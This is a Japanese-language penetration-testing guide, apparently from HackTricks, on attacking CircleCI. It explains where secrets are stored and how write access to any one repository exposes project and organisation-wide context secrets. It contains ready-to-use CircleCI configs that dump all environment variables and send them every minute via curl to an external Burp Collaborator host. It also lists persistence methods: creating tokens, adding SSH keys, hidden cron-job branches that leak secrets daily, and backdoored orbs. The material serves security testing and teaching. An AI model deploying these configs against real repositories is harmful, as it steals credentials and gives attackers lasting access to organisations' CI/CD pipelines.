# CircleCI セキュリティ

{{#include ../banners/hacktricks-training.md}}

### 基本情報

[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す**テンプレート**を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば**リポジトリのマスターブランチ**から直接**テスト**や**デプロイ**を**自動化**できます。

### 権限

**CircleCI**は、ログインする**アカウント**に関連するgithubおよびbitbucketから**権限を継承**します。\
私のテストでは、**githubのリポジトリに対する書き込み権限**があれば、**CircleCIでのプロジェクト設定を管理**できることを確認しました（新しいsshキーの設定、プロジェクトのapiキーの取得、新しいCircleCI設定での新しいブランチの作成など）。

ただし、**CircleCIプロジェクトにリポジトリを変換する**には、**リポジトリ管理者**である必要があります。

### 環境変数と秘密情報

[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/)によると、ワークフロー内で**環境変数に値をロードする**方法はいくつかあります。

#### 組み込み環境変数

CircleCIによって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、`CIRCLE_USERNAME`のような[**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)が常にあります。

#### プレーンテキスト

**コマンド**内でプレーンテキストとして宣言できます:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
**実行環境**内に明示的に宣言できます:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
**build-job 環境**内に明示的に宣言できます:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
コンテナの**環境**内に明示的に宣言できます：
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### プロジェクトの秘密

これらは**秘密**であり、**プロジェクト**（**任意のブランチ**）によってのみ**アクセス可能**です。\
これらは _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ に**宣言されている**のを見ることができます。

![](<../images/image (129).png>)

> [!CAUTION]
> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。

#### コンテキストの秘密

これらは**組織全体**の秘密です。**デフォルトでは、任意のリポジトリ**がここに保存された**任意の秘密**に**アクセスできる**ようになります：

![](<../images/image (123).png>)

> [!TIP]
> ただし、異なるグループ（すべてのメンバーの代わりに）を**選択して特定の人々にのみ秘密へのアクセスを与える**ことができます。\
> これは現在、**秘密のセキュリティを向上させる**ための最良の方法の1つであり、すべての人がアクセスできるのではなく、一部の人だけがアクセスできるようにします。

### 攻撃

#### プレーンテキストの秘密を検索

**VCS**（例えばgithub）に**アクセス**できる場合、**各リポジトリの各ブランチ**の `.circleci/config.yml` ファイルをチェックし、そこに保存されている潜在的な**プレーンテキストの秘密**を**検索**します。

#### 秘密の環境変数とコンテキストの列挙

コードをチェックすることで、各 `.circleci/config.yml` ファイルで**使用されているすべての秘密の名前**を見つけることができます。また、これらのファイルから**コンテキスト名**を取得するか、ウェブコンソールで確認できます： _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_。

#### プロジェクトの秘密を抽出

> [!WARNING]
> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出**するには、**全体のgithub組織の中で**たった**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます（_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_）。

> [!CAUTION]
> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。したがって、攻撃者は**すべてのリポジトリからすべてのプロジェクト変数をインポート**し、その後**すべてを一緒に抽出**することができます。

すべてのプロジェクトの秘密は常にジョブの環境に設定されているため、envを呼び出してbase64で難読化するだけで、**ワークフローのウェブログコンソール**に秘密を抽出できます：
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env
```
ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**作成**し、**外部アドレスに秘密を流出させる**ことができます:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### コンテキストシークレットの抽出

**コンテキスト名を指定する必要があります**（これによりプロジェクトシークレットも抽出されます）：
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**修正**し、**外部アドレスに秘密を流出させる**ことができます:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> 新しい `.circleci/config.yml` をリポジトリに作成するだけでは **circleci ビルドをトリガーするには不十分です**。**circleci コンソールでプロジェクトとして有効にする必要があります**。

#### クラウドへのエスケープ

**CircleCI** は **あなたのビルドを彼らのマシンまたはあなた自身のマシンで実行するオプションを提供します**。\
デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン（潜在的にクラウド環境で）でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。

前の例ではすべてが Docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**（異なるクラウド権限を持っている可能性があります）：
```yaml
jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
リモートDockerサービスにアクセスできるDockerコンテナでも。
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistence

- CircleCIで**ユーザートークンを作成**して、ユーザーのアクセスでAPIエンドポイントにアクセスすることが可能です。
- _https://app.circleci.com/settings/user/tokens_
- **プロジェクトトークンを作成**して、トークンに与えられた権限でプロジェクトにアクセスすることが可能です。
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- プロジェクトに**SSHキーを追加**することが可能です。
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- 予期しないプロジェクトの隠れたブランチに**cronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。
- あるいは、ブランチで作成したり、知られているジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることができます。
- GitHubのオーナーであれば、**未確認のオーブを許可**し、ジョブに**バックドア**として設定することができます。
- 一部のタスクで**コマンドインジェクションの脆弱性**を見つけ、**秘密**の値を変更して**コマンドを注入**することができます。

{{#include ../banners/hacktricks-training.md}}
